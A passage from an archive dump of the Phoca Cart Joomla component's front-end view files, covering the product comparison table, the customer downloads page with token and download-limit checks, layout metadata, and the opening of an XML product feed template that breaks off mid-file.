<view title="COM_PHOCACART_COMPARISON_GROUP">
<message><![CDATA[COM_PHOCACART_COMPARISON_GROUP_DESC]]></message>
</view>
</metadata>comparison/tmpl/default.php000064400000023643151165726760012057
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutI = new JLayoutFile('image', null,
array('component' => 'com_phocacart'));
echo '<div id="ph-pc-comparison-box"
class="pc-comparison-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_COMPARISON')));
if (!empty($this->t['items'])) {
$c = array();
$c['title'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_PRODUCT').'</b></td>';
if ($this->t['can_display_price']) {
$c['price'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_PRICE').'</b></td>';
}
$c['remove'] = '<tr><td
class="ph-middle"></td>';
$c['desc'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_DESCRIPTION').'</b></td>';
$c['man'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_MANUFACTURER').'</b></td>';
$c2['link'] = '<tr><td></td>';
if ($this->t['value']['stock'] == 1) {
$c['stock'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_AVAILABILITY').'</b></td>';}
if ($this->t['value']['length'] == 1) {
$c['length'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_LENGTH').'</b></td>';}
if ($this->t['value']['width'] == 1) {
$c['width'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_WIDTH').'</b></td>';}
if ($this->t['value']['height'] == 1) {
$c['height'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_HEIGHT').'</b></td>';}
if ($this->t['value']['weight'] == 1) {
$c['weight'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_WEIGHT').'</b></td>';}
if ($this->t['value']['volume'] == 1) {
$c['volume'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_VOLUME').'</b></td>';}
if ($this->t['value']['attrib'] == 1) {
$c['attrib'] = '<tr><td
class="ph-middle"><b>'.JText::_('COM_PHOCACART_ATTRIBUTES').'</b></td>';}
$count = count($this->t['items']);
$price = new PhocacartPrice();
foreach($this->t['items'] as $k => $v) {
$c['title'] .=
'<td><h3>'.$v['title'].'</h3>';
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$v['image'], 'small');
if (isset($v['catid2']) && (int)$v['catid2']
> 0 && isset($v['catalias2']) &&
$v['catalias2'] != '') {
$link = JRoute::_(PhocacartRoute::getItemRoute($v['id'],
$v['catid2'], $v['alias'],
$v['catalias2']));
} else {
$link = JRoute::_(PhocacartRoute::getItemRoute($v['id'],
$v['catid'], $v['alias'], $v['catalias']));
}
if (isset($image->rel) && $image->rel != '') {
$c['title'] .= '<div class="ph-center"
>';
$c['title'] .= '<a
href="'.$link.'">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['src'] =
JURI::base(true).'/'.$image->rel;
$d['srcset-webp'] =
JURI::base(true).'/'.$image->rel_webp;
$d['alt-value'] =
PhocaCartImage::getAltTitle($v['title'], $image->rel);
$d['class'] =
$this->s['c']['img-responsive'];
$c['title'] .= $layoutI->render($d);
$c['title'] .= '</a>';
$c['title'] .= '</div>';
}
$c['title'] .= '</td>';
if ($this->t['can_display_price']) {
$price = new PhocacartPrice;
$d = array();
$d['s'] = $this->s;
$d['type'] = $v['type'];// PRODUCTTYPE
$d['priceitems'] =
$price->getPriceItems($v['price'], $v['taxid'],
$v['taxrate'], $v['taxcalculationtype'],
$v['taxtitle'], $v['unit_amount'],
$v['unit_unit'], 1, 1, $v['group_price']);
$d['priceitemsorig']= array();
if ($v['price_original'] != '' &&
$v['price_original'] > 0) {
$d['priceitemsorig'] =
$price->getPriceItems($v['price_original'],
$v['taxid'], $v['taxrate'],
$v['taxcalculationtype']);
}
$d['class'] = 'ph-category-price-box';// we need
the same class as category or items view
$d['product_id'] = (int)$v['id'];
$d['typeview'] = 'Module';
// Display discount price
// Move standard prices to new variable (product price -> product
discount)
$d['priceitemsdiscount'] = $d['priceitems'];
$d['discount'] =
PhocacartDiscountProduct::getProductDiscountPrice($v['id'],
$d['priceitemsdiscount']);
// Display cart discount (global discount) in product views - under
specific conditions only
// Move product discount prices to new variable (product price ->
product discount -> product discount cart)
$d['priceitemsdiscountcart'] =
$d['priceitemsdiscount'];
$d['discountcart'] =
PhocacartDiscountCart::getCartDiscountPriceForProduct($v['id'],
$v['catid'], $d['priceitemsdiscountcart']);
$priceOutput = $layoutP->render($d);
$c['price'] .= '<td
class="ph-right">'.$priceOutput.'</td>';
$d['zero_price'] = 1;// Apply zero price if possible
}
$c['remove'] .= '<td>';
$c['remove'] .= '<form
action="'.$this->t['linkcomparison'].'"
method="post">';
$c['remove'] .= '<input type="hidden"
name="id"
value="'.(int)$v['id'].'">';
$c['remove'] .= '<input type="hidden"
name="task" value="comparison.remove">';
$c['remove'] .= '<input type="hidden"
name="tmpl" value="component" />';
$c['remove'] .= '<input type="hidden"
name="option" value="com_phocacart" />';
$c['remove'] .= '<input type="hidden"
name="return"
value="'.$this->t['actionbase64'].'"
/>';
$c['remove'] .= '<div
class="ph-center">';
$c['remove'] .= '<button type="submit"
class="'.$this->s['c']['btn.btn-danger'].'
ph-btn"><span
class="'.$this->s['i']['remove'].'"></span>
'.JText::_('COM_PHOCACART_REMOVE').'</button>';
$c['remove'] .= '</div>';
$c['remove'] .=
Joomla\CMS\HTML\HTMLHelper::_('form.token');
$c['remove'] .= '</form>';
$c['remove'] .= '</td>';
$c['desc'] .=
'<td>'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$v['description']).'</td>';
$c['man'] .= '<td
class="ph-center">'.$v['manufacturer_title'].'</td>';
if ($this->t['value']['stock'] == 1) {
$c['stock'] .= '<td
class="ph-center">'.JText::_($v['stock']).'</td>';}
if ($this->t['value']['length'] == 1) {
$c['length'] .= '<td
class="ph-center">'.PhocacartUtils::round($v['length']).'
'.$this->t['unit_size'].'</td>';}
if ($this->t['value']['width'] == 1) {
$c['width'] .= '<td
class="ph-center">'.PhocacartUtils::round($v['width']).'
'.$this->t['unit_size'].'</td>';}
if ($this->t['value']['height'] == 1) {
$c['height'] .= '<td
class="ph-center">'.PhocacartUtils::round($v['height']).'
'.$this->t['unit_size'].'</td>';}
if ($this->t['value']['weight'] == 1) {
$c['weight'] .= '<td
class="ph-center">'.PhocacartUtils::round($v['weight']).'
'.$this->t['unit_weight'].'</td>';}
if ($this->t['value']['volume'] == 1) {
$c['volume'] .= '<td
class="ph-center">'.PhocacartUtils::round($v['volume']).'
'.$this->t['unit_volume'].'</td>';}
if ($this->t['value']['attrib'] == 1) {
$c['attrib'] .= '<td>';
if(!empty($v['attr_options'])) {
foreach ($v['attr_options'] as $k2 => $v2) {
$c['attrib'] .=
'<div>'.$v2->title.'</div>';
if(!empty($v2->options)) {
$c['attrib'] .= '<ul>';
foreach ($v2->options as $k3 => $v3) {
$c['attrib'] .=
'<li>'.$v3->title.'</li>';
}
$c['attrib'] .= '</ul>';
}
}
}
$c['attrib'] .= '</td>';
}
$c2['link'] .= '<td
class="ph-center">';
$c2['link'] .= '<a href="'.$link.'"
class="'.$this->s['c']['btn.btn-primary.btn-sm'].
' ph-btn" role="button"><span
class="'.$this->s['i']['search'].'"></span>
'.JText::_('COM_PHOCACART_VIEW_PRODUCT').'</a>';
$c2['link'] .= '</td>';
}
$c['title'] .= '</tr>';
if ($this->t['can_display_price']) {
$c['price'] .= '</tr>';
}
$c['desc'] .= '</tr>';
$c['man'] .= '</tr>';
$c['remove'] .= '</tr>';
$c2['link'] .= '</tr>';
if ($this->t['value']['stock'] == 1) {
$c['stock'] .= '</tr>';}
if ($this->t['value']['length'] == 1) {
$c['length'] .= '</tr>';}
if ($this->t['value']['width'] == 1) {
$c['width'] .= '</tr>';}
if ($this->t['value']['height'] == 1) {
$c['height'] .= '</tr>';}
if ($this->t['value']['weight'] == 1) {
$c['weight'] .= '</tr>';}
if ($this->t['value']['volume'] == 1) {
$c['volume'] .= '</tr>';}
if ($this->t['value']['attrib'] == 1) {
$c['attrib'] .= '</tr>';}
echo '<div class="ph-comparison-items">';
echo '<table class="ph-comparison-table">';
foreach($c as $k => $v) {
echo $v;
}
foreach($this->t['spec'] as $k => $v) {
if($k != '') {
echo
'<tr><td><b><u>'.$k.'</u></b></td><td
colspan="'.$count.'"></td></tr>';
if (!empty($v)) {
foreach($v as $k2 => $v2) {
echo
'<tr><td><b>'.$k2.'</b></td>';
if ($count == 1) {
if (isset($v2[0])) { echo '<td
class="ph-center">'.$v2[0].'</td>';} else
{echo '<td></td>';}
} else if ($count == 2) {
if (isset($v2[0])) { echo '<td
class="ph-center">'.$v2[0].'</td>';} else
{echo '<td></td>';}
if (isset($v2[1])) { echo '<td
class="ph-center">'.$v2[1].'</td>';} else
{echo '<td></td>';}
} else {
if (isset($v2[0])) { echo '<td
class="ph-center">'.$v2[0].'</td>';} else
{echo '<td></td>';}
if (isset($v2[1])) { echo '<td
class="ph-center">'.$v2[1].'</td>';} else
{echo '<td></td>';}
if (isset($v2[2])) { echo '<td
class="ph-center">'.$v2[2].'</td>';} else
{echo '<td></td>';}
}
echo'</tr>';
}
}
}
}
// Link to product
foreach($c2 as $k => $v) {
echo $v;
}
echo '</table>';
echo '</div>';// end comparison items
} else {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_THERE_ARE_NO_PRODUCTS_IN_COMPARISON_LIST').'</div>';
}
echo '</div>';// end comparison box
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
comparison/tmpl/default.xml000064400000000751151165726760012063
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_COMPARISON_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_COMPARISON_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_COMPARISON_LAYOUT</name>
<description>COM_PHOCACART_COMPARISON_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>comparison/tmpl/index.html000064400000000054151165726760011706
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>comparison/view.html.php000064400000010016151165726760011362
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewComparison extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $s;
function display($tpl = null)
{
$app = JFactory::getApplication();
//$model = $this->getModel();
//$document = JFactory::getDocument();
$this->s =
PhocacartRenderStyle::getStyles();
$this->p = $app->getParams();
//$this->t['categories'] =
$model->getCategoriesList();
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['unit_size'] = $this->p->get(
'unit_size', 0 );
$this->t['unit_weight'] = $this->p->get(
'unit_weight', 0 );
$this->t['unit_volume'] = $this->p->get(
'unit_volume', 0 );
$this->t['display_webp_images'] =
$this->p->get( 'display_webp_images', 0 );
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute());
$compare = new PhocacartCompare();
$this->t['items'] = $compare->getFullItems();
// Will the values be displayed or not - if the value exists at least by
one product, display it
$this->t['value']['length'] = 0;
$this->t['value']['width'] = 0;
$this->t['value']['height'] = 0;
$this->t['value']['weight'] = 0;
$this->t['value']['volume'] = 0;
$this->t['value']['attrib'] = 0;
$this->t['value']['stock'] = 0;
$this->t['spec'] = array();
if (!empty($this->t['items'])) {
foreach ($this->t['items'] as $k => $v) {
if($v['length'] > 0)
{$this->t['value']['length'] = 1;}
if($v['width'] > 0)
{$this->t['value']['width'] = 1;}
if($v['height'] > 0)
{$this->t['value']['height'] = 1;}
if($v['weight'] > 0)
{$this->t['value']['weight'] = 1;}
if($v['volume'] > 0)
{$this->t['value']['volume'] = 1;}
$this->t['items'][$k]['attr_options']=
PhocacartAttribute::getAttributesAndOptions((int)$v['id']);
if
(!empty($this->t['items'][$k]['attr_options'])) {
$this->t['value']['attrib'] = 1;
}
$this->t['items'][$k]['specifications']=
PhocacartSpecification::getSpecificationGroupsAndSpecifications((int)$v['id']);
if
(!empty($this->t['items'][$k]['specifications'])) {
foreach($this->t['items'][$k]['specifications']
as $k2 => $v2) {
//$this->t['spec'][$k2] = $v2[0];
$newV2 = $v2;
unset($newV2[0]);
if (!empty($newV2)) {
foreach($newV2 as $k3 => $v3) {
$this->t['spec'][$v2[0]][$v3['title']][$k] =
$v3['value'];
//$this->t['spec'][$k2][$k3][$k3] =
$v3['value'];
}
}
}
}
$stockStatus =
PhocacartStock::getStockStatus((int)$v['stock'],
(int)$v['min_quantity'],
(int)$v['min_multiple_quantity'],
(int)$v['stockstatus_a_id'],
(int)$v['stockstatus_n_id']);
$this->t['items'][$k]['stock'] =
PhocacartStock::getStockStatusOutput($stockStatus);
if ($this->t['items'][$k]['stock'] !=
'') {
$this->t['value']['stock'] = 1;
}
}
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadSpec();
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_COMPARISON'));
}
}
?>
download/index.html000064400000000054151165726770010370
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>download/metadata.xml000064400000000273151165726770010700
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_DOWNLOAD_GROUP">
<message><![CDATA[COM_PHOCACART_DOWNLOAD_GROUP_DESC]]></message>
</view>
</metadata>download/tmpl/default.php000064400000012244151165726770011510
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-download-box"
class="pc-download-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_DOWNLOAD')));
if ($this->u->id > 0 || ($this->t['token_download']
!= '' && $this->t['token_order'] !=
'')) {
if (!empty($this->t['files'])) {
//echo '<div class="ph-download-files">';
echo '<div
class="'.$this->s['c']['row'].'
ph-download-header-box-row ph-vertical-align">';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.JText::_('COM_PHOCACART_TITLE').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.JText::_('COM_PHOCACART_FILENAME').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.JText::_('COM_PHOCACART_STATUS').'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'
ph-center">'.JText::_('COM_PHOCACART_DOWNLOAD').'</div>';
echo '<div class="ph-cb"></div>';
echo '</div>';
foreach ($this->t['files'] as $k => $v) {
echo '<div
class="'.$this->s['c']['row'].'
ph-download-item-box-row ph-vertical-align">';
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.$v->title;
echo '<br /><span
class="'.$this->s['c']['label.label-info'].'">'.PhocacartOrder::getOrderNumber($v->order_id,
$v->order_date, $v->order_number).'</span>';
echo '</div>';
$fileA = explode('/', $v->download_file);
$fileACount = count($fileA);
$fileACount--;
$file = $fileA[$fileACount];
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.$file.'</div>';
$downloadPossible = 0;
$status = '';
if((int)$this->t['download_count'] > 0 &&
((int)$this->t['download_count'] == (int)$v->download_hits
|| (int)$this->t['download_count'] <
(int)$v->download_hits)) {
$status .= '<span
class="'.$this->s['c']['label.label-danger'].'">'.JText::_('COM_PHOCACART_MAXIMUM_DOWNLOADS_REACHED').
'</span><br />';
}
$downloadDays = (int)$this->t['download_days'];
if (isset($v->download_days) && (int)$v->download_days
> -1) {
$downloadDays = (int)$v->download_days;
}
if($downloadDays != 0 &&
!PhocacartDownload::isActive($v->date, $downloadDays)) {
$status .= '<span
class="'.$this->s['c']['label.label-danger'].'">'.JText::_('COM_PHOCACART_DOWNLOAD_DATE_EXPIRED').
'</span><br />';
}
if ($status == '') {
$status = '<span
class="'.$this->s['c']['label.label-success'].'">'.JText::_('COM_PHOCACART_ACTIVE').
'</span><br />';
$rem = (int)$this->t['download_count'] -
(int)$v->download_hits;
if ((int)$rem > 0) {
$status .= ' <span
class="ph-small"><b>'.$rem. '</b>
';
if ($rem == 1) {
$status .= JText::_('COM_PHOCACART_DOWNLOAD'). '
';
} else {
$status .= JText::_('COM_PHOCACART_DOWNLOADS'). '
';
}
$status .= JText::_('COM_PHOCACART_REMAINING').
'</span>';
}
$dateValid = PhocacartDownload::validUntil($v->date,
$downloadDays);
if ($dateValid) {
$status .= '<br /> <span
class="ph-small">'.JText::_('COM_PHOCACART_DOWNLOAD_VALID_UNTIL').
': ';
$status .= ' '.$dateValid.'<span>';
}
$downloadPossible = 1;
}
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'">'.$status.'</div>';
if($downloadPossible ==1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'
ph-center">';
echo '<form
action="'.$this->t['linkdownload'].'"
method="post">';
echo '<input type="hidden" name="id"
value="'.(int)$v->id.'">';
echo '<input type="hidden" name="task"
value="download.download">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>';
echo '<input type="hidden" name="d"
value="'.$this->t['token_download'].'"
/>';
echo '<input type="hidden" name="o"
value="'.$this->t['token_order'].'"
/>';
echo '<button type="submit" class="btn
btn-primary ph-btn"><span
class="'.$this->s['i']['download'].'"></span>
'.JText::_('COM_PHOCACART_DOWNLOAD').'</button>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
} else {
echo '<div
class="'.$this->s['c']['col.xs12.sm3.md3'].'
ph-center"><span
class="'.$this->s['i']['ban'].'
ph-red"></span></div>';
}
echo '</div>';// end row
}
echo '<div class="ph-cb
ph-download-item-box-row-line"></div>';
//echo '</div>';// end download files
} else {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_THERE_ARE_NO_FILES_TO_DOWNLOAD').'</div>';
}
} else {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_NOT_LOGGED_IN_PLEASE_LOGIN').'</div>';
}
echo '</div>';// end comparison box
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
download/tmpl/default.xml000064400000000741151165726770011520
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_DOWNLOAD_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_DOWNLOAD_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_DOWNLOAD_LAYOUT</name>
<description>COM_PHOCACART_DOWNLOAD_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>download/tmpl/index.html000064400000000054151165726770011344
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>download/view.html.php000064400000004346151165727000011014
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewDownload extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
function display($tpl = null)
{
$app = JFactory::getApplication();
//$model = $this->getModel();
//$document = JFactory::getDocument();
$this->s =
PhocacartRenderStyle::getStyles();
$this->p = $app->getParams();
$this->u = PhocacartUser::getUser();
$this->t['token_download'] =
$app->input->get('d', '', 'string');
$this->t['token_order'] =
$app->input->get('o', '', 'string');
$this->t['download_guest_access'] = $this->p->get(
'download_guest_access', 0 );
if ($this->t['download_guest_access'] == 0) {
$this->t['token_download'] = '';
$this->t['token_order'] = '';
}
$this->t['files'] =
PhocacartDownload::getDownloadFiles($this->u->id,
$this->t['token_download'],
$this->t['token_order'] );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['download_days'] = $this->p->get(
'download_days', 0 );
$this->t['download_count'] = $this->p->get(
'download_count', 0 );
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkdownload'] =
JRoute::_(PhocacartRoute::getDownloadRoute());
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadSpec();
$this->t['pathfile'] =
PhocacartPath::getPath('productfile');
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_DOWNLOAD'));
}
}
?>
feed/index.html000064400000000054151165727000007447
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>feed/metadata.xml000064400000000273151165727000007757
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_XML_FEED_GROUP">
<message><![CDATA[COM_PHOCACART_XML_FEED_GROUP_DESC]]></message>
</view>
</metadata>feed/tmpl/default.php000064400000054407151165727000010576
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$o = array();
$l = '<';
$r = '>';
$e = '</';
// HEADER
if (isset($this->t['feed']['header']) &&
$this->t['feed']['header'] != '') {
$o['header'] =
$this->t['feed']['header'];
} else {
$o['header'] = '<?xml version="1.0"
encoding="utf-8"?>';
}
// ROOT START
if (isset($this->t['feed']['root']) &&
$this->t['feed']['root'] != '') {
$o['rootstart'] =
$l.$this->t['feed']['root'].$r;
}
// PREPARE FUNCTIONS BEFORE FOREACH, so we save memory
// E.g. currency - to get info about default currency we need to ask sql
but we should to it only
// one time, not in foreach. Of course currency class is singleton so we
don't run sql query many time
// but we don't need to run the function many times too.
$cur = '';
//if ($this->p['item_currency'] != '') {
$cur = PhocacartCurrency::getDefaultCurrencyCode();
//}
// START FOREACH OF PRODUCTS
$o['items'] = '';
$o['params'] = '';
if (!empty($this->t['products'])) {
foreach ($this->t['products'] as $k => $v) {
// PRODUCT - Specific FEED plugin
$paramsFeedA = array();
if (isset($v->params_feed) && $v->params_feed !=
'') {
$registry = new JRegistry;
$registry->loadString($v->params_feed);
$paramsFeedA = $registry->toArray();
$feedName =
trim($this->t['feed']['feed_plugin']);
if
(isset($paramsFeedA[$feedName]['pcf_param_published']) &&
$paramsFeedA[$feedName]['pcf_param_published'] == 0) {
// The product is unpublished from feed
continue;
}
}
$oI = array();
// PRODUCT START
if (isset($this->t['feed']['item'])
&& $this->t['feed']['item'] != '')
{
$oI['itemstart'] =
$l.$this->t['feed']['item'].$r;
}
if ($this->p['item_id'] != '' &&
isset($v->id) && $v->id != '') {
$oI['item_id'] =
$l.$this->p['item_id'].$r.$v->id.$e.$this->p['item_id'].$r;
}
if ($this->p['item_title'] != '' &&
isset($v->title) && $v->title != '') {
$oI['item_article'] =
$l.$this->p['item_title'].$r.htmlspecialchars($v->title).$e.$this->p['item_title'].$r;
}
if ($this->p['item_title_extended'] != ''
&& isset($v->title) && $v->title != '') {
$oI['item_title_extended'] =
$l.$this->p['item_title_extended'].$r.htmlspecialchars($v->title).$e.$this->p['item_title_extended'].$r;
}
if ($this->p['item_description_short'] != ''
&& isset($v->description) && $v->description !=
'') {
if ($this->p['strip_html_tags_desc'] == 1) {
$v->description = strip_tags($v->description);
}
$oI['item_description_short'] =
$l.$this->p['item_description_short'].$r.'<![CDATA['.$v->description.']]>'.$e.$this->p['item_description_short'].$r;
}
if ($this->p['item_description_long'] != ''
&& isset($v->description_long) &&
$v->description_long != '') {
if ($this->p['strip_html_tags_desc'] == 1) {
$v->description_long =
strip_tags($v->description_long);
}
$oI['item_description_long'] =
$l.$this->p['item_description_long'].$r.'<![CDATA['.$v->description_long.']]>'.$e.$this->p['item_description_long'].$r;
}
if ($this->p['item_sku'] != '' &&
isset($v->sku) && $v->sku != '') {
$oI['item_sku'] =
$l.$this->p['item_sku'].$r.$v->sku.$e.$this->p['item_sku'].$r;
}
if ($this->p['item_ean'] != '' &&
isset($v->ean) && $v->ean != '') {
$oI['item_ean'] =
$l.$this->p['item_ean'].$r.$v->ean.$e.$this->p['item_ean'].$r;
}
// PRICE ORIGINAL
if ($this->p['item_original_price_with_vat'] !=
'' || $this->p['item_original_price_without_vat'] !=
''
&& isset($v->price_original) &&
isset($v->taxrate) && isset($v->taxcalculationtype)) {
$priceOc = new PhocacartPrice;
$priceO = $priceOc->getPriceItems($v->price_original,
$v->taxid, $v->taxrate, $v->taxcalculationtype);
if ($this->p['price_decimals'] != '') {
$priceO['netto'] =
number_format($priceO['netto'],
(int)$this->p['price_decimals']);
$priceO['brutto'] =
number_format($priceO['brutto'],
(int)$this->p['price_decimals']);
}
if ($this->p['price_including_currency'] == 1){
$priceO['netto'] = $cur != '' ?
$priceO['netto'] . ' ' . $cur :
$priceO['netto'];
$priceO['brutto'] = $cur != '' ?
$priceO['brutto'] . ' ' . $cur :
$priceO['brutto'];
}
if ($this->p['item_original_price_without_vat'] !=
'' && isset($priceO['netto']) &&
(int)$priceO['netto'] > 0) {
$oI['item_original_price_without_vat'] =
$l.$this->p['item_original_price_without_vat'].$r.$priceO['netto'].$e.$this->p['item_original_price_without_vat'].$r;
}
if ($this->p['item_original_price_with_vat'] !=
'' && isset($priceO['brutto']) &&
(int)$priceO['brutto'] > 0) {
$oI['item_original_price_with_vat'] =
$l.$this->p['item_original_price_with_vat'].$r.$priceO['brutto'].$e.$this->p['item_original_price_with_vat'].$r;
}
}
// PRICE FINAL
if ($this->p['item_final_price_with_vat'] !=
'' || $this->p['item_final_price_without_vat'] !=
''
&& isset($v->price) && isset($v->taxrate)
&& isset($v->taxcalculationtype)) {
$priceFc = new PhocacartPrice;
$priceF = $priceFc->getPriceItems($v->price,
$v->taxid, $v->taxrate, $v->taxcalculationtype);
if ($this->p['price_decimals'] != '') {
$priceF['netto'] =
number_format($priceF['netto'],
(int)$this->p['price_decimals']);
$priceF['brutto'] =
number_format($priceF['brutto'],
(int)$this->p['price_decimals']);
$priceF['tax'] =
number_format($priceF['tax'],
(int)$this->p['price_decimals']);
}
if ($this->p['price_including_currency'] == 1){
$priceF['netto'] = $cur != '' ?
$priceF['netto'] . ' ' . $cur :
$priceF['netto'];
$priceF['brutto'] = $cur != '' ?
$priceF['brutto'] . ' ' . $cur :
$priceF['brutto'];
$priceF['tax'] = $cur != '' ?
$priceF['tax'] . ' ' . $cur :
$priceF['tax'];
}
if ($this->p['item_final_price_without_vat'] !=
'' && isset($priceF['netto']) &&
(int)$priceF['netto'] > 0) {
$oI['item_final_price_without_vat'] =
$l.$this->p['item_final_price_without_vat'].$r.$priceF['netto'].$e.$this->p['item_final_price_without_vat'].$r;
}
if ($this->p['item_final_price_with_vat'] !=
'' && isset($priceF['brutto']) &&
(int)$priceF['brutto'] > 0) {
$oI['item_final_price_with_vat'] =
$l.$this->p['item_final_price_with_vat'].$r.$priceF['brutto'].$e.$this->p['item_final_price_with_vat'].$r;
}
if ($this->p['item_vat'] != ''
&& isset($priceF['tax']) &&
(int)$priceF['tax'] > 0) {
$oI['item_vat'] =
$l.$this->p['item_vat'].$r.$priceF['tax'].$e.$this->p['item_vat'].$r;
}
}
// PRODUCT CURRENCY (DEFAULT)
if ($this->p['item_currency'] != ''
&& $cur != '') {
$oI['item_currency'] =
$l.$this->p['item_currency'].$r.htmlspecialchars($cur).$e.$this->p['item_currency'].$r;
}
// PRODUCT URL
if ($this->p['item_url'] != '' &&
isset($v->id) && $v->id > 0 && isset($v->catid)
&& $v->catid > 0 && isset($v->alias) &&
isset($v->catalias)) {
